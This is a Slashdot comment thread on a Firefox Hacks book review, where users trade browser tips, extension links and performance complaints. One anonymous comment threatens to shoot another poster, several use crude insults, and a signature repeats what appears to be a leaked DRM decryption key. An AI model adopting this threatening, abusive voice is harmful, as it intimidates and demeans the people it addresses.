    It's actually really cool. It does a bunch of other things too. I could go on and on decribing it to you but I wont. Go check it out, you wont be sorry.

    Here is my stumble page as an example:
    http://emfb.stumbleupon.com/

  63. Do not export icons by baojia · · Score: 1

    I wonder how to not export icons in my bookmarks html for backup. Thanks

  64. Re:extension link by The+Wicked+Priest · · Score: 4, Interesting

    More seriously, I've changed my extensions link to point to http://www.extensionsmirror.nl/ . (You can change it via extensions.getMoreExtensionsURL in about:config.) It's far more complete and up-to-date than the official site.

    --
    Share and Enjoy: 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0
  65. Re:how do you hack Firefox to give your sweety a k by The+Wicked+Priest · · Score: 3, Interesting
    My first thought was "Ew", but my second thought was "You know, there's probably an extension for that". And here's what I found with a cursory search:
    Feed Me Links Toolbar - The Feed Me Links extension for Firefox/Mozilla shares and manages your links via any computer or browser. Tag links to classify them, share tags and links via email or comment discussions, browser your friends' links, etc.

    Firefox Bookmark Share - Firefox Bookmark Share allows you to store your Firefox bookmarks, upload and download from your browser and share them with your friends and much more. All you need to do is sign up for an account, download the plugin and you're all set. The extension will create a folder in your bookmarks named "Firefox BM Share for [username]". This folder will be uploaded and downloaded.

    If these aren't precisely what you wanted, check again tomorrow.
    --
    Share and Enjoy: 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0
  66. Too much! by teknokracy · · Score: 0, Troll

    What's next - hacking notepad? There are too many of these books. It seems every time a geek chic app comes out Pogue or an Oreilly hack (pun intended) comes out with a book loaded full of features such as "press enter to submit a form" and "clicking the X will close the window far better than file->close. What a hack!" There is only so much you can know about one application or one device, i.e. iPod books. (or any mac book for that matter, totally useless due to the inherent ease of use of the OS. any power user using macos doesnt need a book to tell them how to telnet!)

    1. Re:Too much! by Anonymous Coward · · Score: 0

      What, you've never hacked Notepad? Come on, it's fun! Like hex editing Win 95/98's Notepad to open something other than Wordpad for files > 64 kB. Or using a different font by default.

  67. Re:how do you hack Firefox to give your sweety a k by planckscale · · Score: 1
    Thanks I'll try those out and see how they work. smiles

    --
    Namaste
  68. Re:how do you hack Firefox to give your sweety a k by Anonymous Coward · · Score: 0

    sweetie eh? The 50's just called, they want their soft slang back. come on man, get with it... she's your biatch...

  69. complaint by Anonymous Coward · · Score: 0

    A flashlight on the cover? Lame. Where's the red panda?

  70. Firefox installation wierdness by SylvesterTheCat · · Score: 1

    I like to install my win32 applications to the d drive, or more specifically "d:\program files." The installation for most apps give me a opportunity to simply change "c:\program files\ to d:\etc, etc...

    Firefox's installation will default to a temp directory, so you have to change it to d:\program files, create the directory to install it into, and then install it.

    Others have this process more streamlined, so it can't be that it is difficult. Just an oversight, perhaps.

    1. Re:Firefox installation wierdness by Anonymous Coward · · Score: 0

      I often wondered if there's already a bug report, but I'm too lazy ...

    2. Re:Firefox installation wierdness by glesga_kiss · · Score: 1
      I like to install my win32 applications to the d drive, or more specifically "d:\program files." The installation for most apps give me a opportunity to simply change "c:\program files\ to d:\etc, etc.

      Hmmm. Most software testers would advice against changing default directories.

      Why? Because it is the FIRST thing that is done in QA to try and break the app, a non-default install. And it breaks EVERY SINGLE PRODUCT when it first comes out. Developers use hard-coded paths when protyping; usually one or two of these make it through to the final product.

      For trouble free computing; stick with the default! I'd bet a whole slew of Firefox Extensions won't work for you either.

    3. Re:Firefox installation wierdness by Anonymous Coward · · Score: 0
      For trouble free computing; stick with the default!

      Sorry, but that's just not feasible, especially on Windows NT 4, where partitioning a large drive is almost a necessity, due to the 8 GB boot bug. I install everything to D:\ to prevent my C:\ from filling up. It sounds like QA isn't living up to their end of the deal. (I should know as I have worked for them.)

    4. Re:Firefox installation wierdness by glesga_kiss · · Score: 1

      Sorry, but that's just not feasible, especially on Windows NT 4, where partitioning a large drive is almost a necessity, due to the 8 GB boot bug.

      Enterprise apps shouldn't have these problems, but for freeware/OSS and anything else that doesn't have a dedicated test team it's almost expected.

      It sounds like QA isn't living up to their end of the deal. (I should know as I have worked for them.)

      Oh they are, entering a bug is easy. Getting it fixed is another thing altogether!

  71. Re:THE BEST FIREFOX HACK by Anonymous Coward · · Score: 0

    It's a good thing that you posted that as an AC, because if you had had the guts to use your real username, I would have moved Heaven and Earth to find your ass and shoot you between the eyes.

  72. It's not that it's lengthy... by Anonymous Coward · · Score: 0

    .. it's that it's awkward.

    Any sentence you have to read a couple of times to understand is bad (by defnition.)

    Umm.. or should I say "By definition, you can tell if a sentence is bad if reading it makes you have to read it more than once."

  73. Re:THE BEST FIREFOX HACK by Anonymous Coward · · Score: 0

    I didn't know that i.e. could open any tabs at all. Now I read that it can open up to 16 tabs in 5 seconds! I'll have to try it out. Now if only I could find the blue e on my computer.

  74. And the #2 "BEST FIREFOX HACK" by sumin+k'adra · · Score: 0, Flamebait

    `killall -9 firefox-bin`

    fucker

  75. change taskbar icon?? by quiddity · · Score: 1

    why does it use the windows startbutton icon in the taskbar? is there an extension/hack to change it?

    --
    .
    . hmmm
    1. Re:change taskbar icon?? by quiddity · · Score: 1

      never mind, found the answer. its a win98 bug.
      solution (in 4th post). solution in an extension, and discussion.

      --
      .
      . hmmm
  76. You had to read that twice to understand it? by Anonymous Coward · · Score: 0

    I take it you don't do well with anything other than technical manuals?

  77. Re:how do you hack Firefox to give your sweety a k by Ph33r+th3+g(O)at · · Score: 1

    I'm with you in the "Ew" department :).

    --
    I too have felt the cold finger of injustice.
  78. From reading some of these comments... by Anonymous Coward · · Score: 0

    Is it just Firefox users that are arrogant assholes to everyone, or just Slashdotters?

  79. Download Manager by HunterZ · · Score: 1

    I know I'm not the only one who won't use Firefox over Mozilla due to its incredibly annoying download manager "feature". I haven't found any way of making it use the IE/Mozilla style one-window-per-download system.

    If it wasn't for this, I'd probably give Firefox/Thunderbird another try as a replacement to the Mozilla Suite 1.7 that I currently use.

    --
    Arguing about vi versus Emacs is like arguing whether it's better to make fire by rubbing sticks or banging rocks.
    1. Re:Download Manager by Reziac · · Score: 2, Interesting

      I had no luck getting Mozilla (also with an annoying dl manager) and Getright (which I love) to play nice together either. However, I let Getright monitor the clipboard. So when I want to download something in Moz, I rightclick the link and pick "Copy Link Location", and most of the time Getright will pick it up, and I can then download it with Getright without any extra steps.

      Worst case, I might have to open GR's status window and paste the URL as a new download.

      --
      ~REZ~ #43301. Who'd fake being me anyway?
  80. Re:THE BEST FIREFOX HACK by Anonymous Coward · · Score: 0

    That crap worked on Netscape as well. I am in a computer lab at my school and the only thing that saved me from the people around me knowing about it was that these computers have no speakers and I killed the process real quick.

  81. I've seen the same problem by godless+dave · · Score: 1

    And often when I browse out of the temp directory it loses the name of the file I was trying to save.

    --
    "If it's real, then it gets more interesting the closer you examine it. If it's not real, just the opposite is true." -
  82. MOD PARENT UP!! by Anonymous Coward · · Score: 0

    Insightful!

  83. Don't buy the book, wait for the movie. by emmjayell · · Score: 1

    I use Safari, O'Reilly's online bookshelf, and so immediately read the book as soon as it was available. I actually considered doing a review, except I had nothing positive to say about the book.

    Even the reviewer here points out that half of the hacks could have been omitted without loss to the reader. If half of the book is irrelevent, how can it be viewed in a favorable stance.

    Personally, as a Firefox user for the past nine months or so, I found that I learned only about 5 things that were useful in terms of tuning / settings - and those things, that I did learn, were easialy available via. google had I cared to try.

    So it's not a bad book for someone that has never used Firefox. For any regular reader of /. - I suggest spending your money on Tivo hacks or Linux in a nutshell for your bookshelf.

  84. application/xhtml+xml rocks by Anonymous Coward · · Score: 0

    I've been using application/xhtml+xml rendering mode for while now on http://www.dutchcowboys.nl/?xhtml=1 using an extra variable to activate it. Since the cms is not yet 100% ready for strict xml output (filtering content from the editors etc.) it sometimes breaks. The application/xhtml+xml rendering mode is so much faster than the text/html mode... it really rocks

  85. Re:If you think the book requires too much coding by BarryNorton · · Score: 1

    Way to back up your argument - out of 7 non-circular (i.e. self-referential) definitions, only two don't mention programming: '5. An expert at a particular program, or one who frequently does work using it or on it; as in 'a Unix hacker' completely ignores that a Unix expert is, by definition, a shell script programmer, and ' 6. An expert or enthusiast of any kind. One might be an astronomy hacker, for example.' is so general no one could take it seriously - 'astronomy hacker'?? Anyway, I have to get to work, I hope the bus hacker is on time this morning!

  86. that is bloody great by RMH101 · · Score: 1

    and i can now ditch IE at work. next question; can anyone move the vertical scrollbar to the lefthand side so i can use my pentablet left handed?

  87. Why is it so slow? by nagora · · Score: 2, Insightful
    I'm using an old 400Mhz machine here and it runs Opera fine. But, I think I'd rather use Firefox or at least try it long enough to decide which is better. But Firefox is so slow that it simply isn't an option. It takes literally a second (that's 1000ms, folks) or more to draw a drop-down menu after clicking on it. Everything is like that - it's like using a computer in slow-motion.

    Is there some known issue with Firefox that can cause this? I can't believe anyone is using the browser if it's like this for them, so I assume that it's not like this for other people. Or have I just been spoilt by Opera's speed?

    TWW

    --
    "Encyclopedia" is to "Wikipedia" what "Library" is to "Some people at a bus stop"
    1. Re:Why is it so slow? by cpghost · · Score: 1

      I'm using an old 400Mhz machine here [...] But Firefox is so slow that it simply isn't an option.

      Do you have enough RAM? That is generally the most limiting factor. I'm running Firefox on an EPIA 5000 (Eden) board with a fanless VIA C3 processor running at 500 MHz with 256 MB RAM. Firefox is pretty slick and fast on that platform.

      --
      cpghost at Cordula's Web.
    2. Re:Why is it so slow? by Anonymous Coward · · Score: 0

      I have a Pentium 2 400Mhz with 128MB running Firefox on W2K with no problem.

      Sure it takes a little while to load Firefox and I can't have as my tabs/windows open as I can have on this box (Athlon 900 w/ 640MB, XP)

      ~AC

    3. Re:Why is it so slow? by nagora · · Score: 1
      running at 500 MHz with 256 MB RAM

      I've got the same RAM, and I don't see swap file thrashing under Firefox so I don't think that's the issue. It's weird.

      TWW

      --
      "Encyclopedia" is to "Wikipedia" what "Library" is to "Some people at a bus stop"
    4. Re:Why is it so slow? by Reziac · · Score: 1

      I have the same problem with both Mozilla and Firefox -- on a P3-550 with 1GB of RAM, running Win98 (with no swapfile, since it never uses over 450mb no matter what all I have running). I gave up on Firefox entirely because it was even slower than Mozilla (plus I just don't like FF, too much has been removed that I actually use) ... and you can time just about *everything* Moz does with, well, an hourglass. I've never seen *anything* render or save pages so slowly.

      Conversely, NS and IE anyversion are slick and quick.

      I've read that the problem is that they use XUL widgets, rather than using native Windows widgets. Not being a programmer, I have no way of confirming this. -- Um, are there any coders out there who'd have an interest in translating Moz to conventional widgetry?

      --
      ~REZ~ #43301. Who'd fake being me anyway?
    5. Re:Why is it so slow? by JShadow · · Score: 1

      Most likely you are using win98. On slower machines I've noticed that firefox barfs under win98, most likely because of how badly it uses memory and gdi/user heaps. Win2k runs it much better, even on slower hardware.

    6. Re:Why is it so slow? by nagora · · Score: 1
      Most likely you are using win98.

      Sorry, should have said: Gentoo Linux.

      TWW

      --
      "Encyclopedia" is to "Wikipedia" what "Library" is to "Some people at a bus stop"
  88. This Slashdot article brought to you by O'Reiley by brudjazz · · Score: 0

    When will we see informative Slashdot articles without all the "Buy this!" thrown in our faces???

  89. Re:how do you hack Firefox to give your sweety a k by SenseiLeNoir · · Score: 1

    I dont know about you, but isnt this a little TOO geeky? I mean, Girlfriends are great for a LOT of things, and web browsing is not really a great way to "bond". The best way of sharing a browsing experience is to actually go to her (or call/txt her if you dont live together), saying check this site out. Trust me, women appreciate the contact with you far more than an "impersonal" contact via a Instant message/browser link, and this causes all forms of suspicions, even where its not intended.

    Me and my "sweetie" have much more intresting "browsing experiences", involving things such as going for a drive in a nice drop top car, watching TV together, in the bedroom, etc.. these are far more fun, and a greater bonding experience than being connected via a "browser"

    --
    Have a nice day!
  90. fewer, safer extensions by feepcreature · · Score: 1
    That's not necessarily a good thing. One reason why there are fewer extensions on the default site is that a rudimentary level of checking can be (and hopefully is) applied to the officially hosted ones.

    Unknown extensions are pretty much as dangerous as Active-X controls run in trusted mode!

    --
    Paul "Say no to feeping creaturism"
  91. Firefox versus Mozilla by rpg25 · · Score: 1

    I realize that this is a little off topic, and apologize.

    Can anyone explain, to a longtime Mozilla user, what's the benefit to changing over to Firefox from Mozilla? I know it's supposed to start up faster, but that's not a huge issue, as far as I'm concerned.

    Are there other reasons to change over?

    If one does change over, how painful is the process? Any way to transfer configuration information? I figure the bookmarks are easy, but what about the Password manager? Are there resources to guide us through the process of changing over?

    Thanks!

    1. Re:Firefox versus Mozilla by Shawarma · · Score: 1

      A few of the plugins for firefox only work in firefox.. Don't remember which, though, but they were enough to convince a cow-orker to switch from Mozilla to Firefix.

      --
      Parse error: parse error, unexpected T_ELSEIF in /var/www/slashdot.org/comments.php
    2. Re:Firefox versus Mozilla by rpg25 · · Score: 1

      Thanks. The plugins are a big benefit (greasemonkey looks particularly appealing), but that's only half the question when we're trying to analyze the decision. What's the cost? What do we lose? Can we carry over any of our configuration (aside from bookmarks)? If so, how much, and how do we do it?

    3. Re:Firefox versus Mozilla by Anonymous Coward · · Score: 0

      I can think of a big reason for using Firefox instead of Mozilla on Windows 95. I only have to update one DLL to get Firefox working. Mozilla 1.4 and up complain about the included Java not being compatible.

    4. Re:Firefox versus Mozilla by doom · · Score: 1
      I realize that this is a little off topic, and apologize. Can anyone explain, to a longtime Mozilla user, what's the benefit to changing over to Firefox from Mozilla?
      There isn't really a *compelling* reason, if you're happy with Mozilla, that's cool. Firefox has some little advantages in the way it does things though, which you might appreciate. For example, a Control F doesn't pop up a "Find Window" right in front of the material you were looking at, instead, it creates a small horizontal bar, just above the title bar (yes, tiled windows -- a revolution in ui design).

      Another thing I like is that when you block popups, by default Firefox will *tell* you when a popup has been blocked, once again with a discreet horizontal bar that appears, rather than with a popup dialog (imagine having a popup dialog to inform you that the browser had saved you from seeing a popup window... wouldn't make a lot of sense, eh?). The idea here is probably that if a web app isn't working for you for some reason, it might be that the idiots relied on being able to do popups, so firefox is giving you a hint about what's going on. What I like about it though, is that if I site is trying to hit me with popup ads, I may think about taking my business elsewhere -- if they think popup ads are a good idea, they've probably got other problems, too.

      There's probably other stuff, but that should give you an idea. The firefox UI has a bunch of small improvements, without any downside -- I never think "boy, I wish I was using Mozilla right now, they did it much better in Mozilla".

      The biggest irritation I can think of in doing the switch was the usual installation hassles, e.g. I had to go hunting around for good themes to use again (I'm a "Negative Modern" addict myself, but "Tinyfox" or whatever it's called has it's advantage -- at last I can reduce the size of those stupid icons I never use, and get a URL box that's big enough to do something with even when the window isn't fully maximized).

      (But all that said, at the moment I'm posting with lynx.)

    5. Re:Firefox versus Mozilla by rpg25 · · Score: 1

      I was particularly thinking of the installation hassles in terms of retraining my password manager. :-(

      I haven't been able to tell if I can just pull its database over, somehow. I suspect not...

  92. Re:If you think the book requires too much coding by Anonymous Coward · · Score: 0

    Ok .. and what about ... say ..

    7. One who enjoys the intellectual challenge of creatively overcoming or circumventing limitations.

  93. I don't want FF to handle images! by gosand · · Score: 1
    I have checked around and haven't found a way to do this: I don't want FireFox to be the default application when opening images from web pages. On Windows, I use Irfanview for that, and on Linux I use ImageMagick's "display". I like having a separate application open images, but I cannot figure out how to do this in FF (1.0.2). There was supposed to be an extension that allowed this, but it didn't work for me.

    Arggghh. I find it odd and annoying that FF would not let me configure it like this, especially when previous versions did. This isn't something that should be so hard to configure.

    --

    My beliefs do not require that you agree with them.

  94. Re:This Slashdot article brought to you by O'Reile by Anonymous Coward · · Score: 0

    It's a book review, jackass. Obviously if the reviewer liked it, he will recommend that you buy it.

  95. A "Tweek" by LinuxSneaker · · Score: 1

    Well, these instructions (I got them from my HelpDesk at work) might not count as a hack, but it has helped me:
    Here's something for broadband people that will really speed Firefox up:
    1.Type "about:config" into the address bar and hit return. Scroll down and look for the following entries:
    network.http.pipelining
    network.http.proxy.pipelining
    network.http.pipelining.maxrequests
    Normally the browser will make one request to a web page at a time. When you enable pipelining it will make several at once, which really speeds up page loading.
    2. Alter the entries as follows:
    Set "network.http.pipelining" to "true"
    Set "network.http.proxy.pipelining" to "true"
    Set "network.http.pipelining.maxrequests" to some number like 30. This means it will make 30 requests at once.
    3. Lastly right-click anywhere and select New-> Integer. Name it "nglayout.initialpaint.delay" and set its value to "0". This value is the amount of time the browser waits before it acts on information it receives.
    If you're using a broadband connection you'll load pages MUCH faster now!

  96. Re: if you want to be a fashionable by WillAffleckUW · · Score: 1

    If you want to be a fashionable hacker, get a mac and brag to friends about how you can slow down expose' animations by holding down the shift key.

    Funny. Gee, that's Flash animation 101 for how to "play" online games ...

    --
    -- Tigger warning: This post may contain tiggers! --
  97. Optimized for IE by danheretic · · Score: 1

    What irritates me is the multitude of sites that are "optimized" for IE, which is just a fancy way of saying that Firefox probably won't work on all of the pages in a site.

    What really gets me is that some of the websites I visit are especially not in the pro-Microsoft camp. Just today I was visiting both the Sun and HP Shopping websites and on both, at certain points I was forced to jump ship to IE just because the pages didn't work with IE. (Yes, I wrote a nice note to the webmasters of both. And yes, I use the newest stable Firefox, always.) I have in the past tried Opera just to see if it would work... yeah, right. Ends up only working with IE.

    Another extra irritating point is when programmers incorporate IE calls into their programs. I usually install Netzero onto older computers I build to give away to folks, and the (albeit limited) free internet access is great, except for the automatic loading of IE upon connecting. So then I have to train them to minimize (not close, Netzero wants to disconnect if you close it) IE and start Firefox. Another case: we use a flow modeling software package called Fluent at work, and it has context-sensitive help that opens to a webpage. Great, really useful, only Firefox chokes on the system call because it's non-standard (it calls C:/fluent.inc/...blah.htm instead of file:///C:/fluent.inc/...blah.htm) and somehow IE can translate that but Firefox can't. Since Firefox is the default system browser, the built-in help doesn't function. (I suppose this could be a Firefox problem because it doesn't handle the malformed URL call, but still, how hard would the Fluent programmer have to have worked to add the extra "file:///" in front? But I digress.)

    I don't use IE and I don't like to use IE. Opening IE is a distasteful experience fraught with danger and I would just as soon avoid it, but sometimes I'm left with no choice.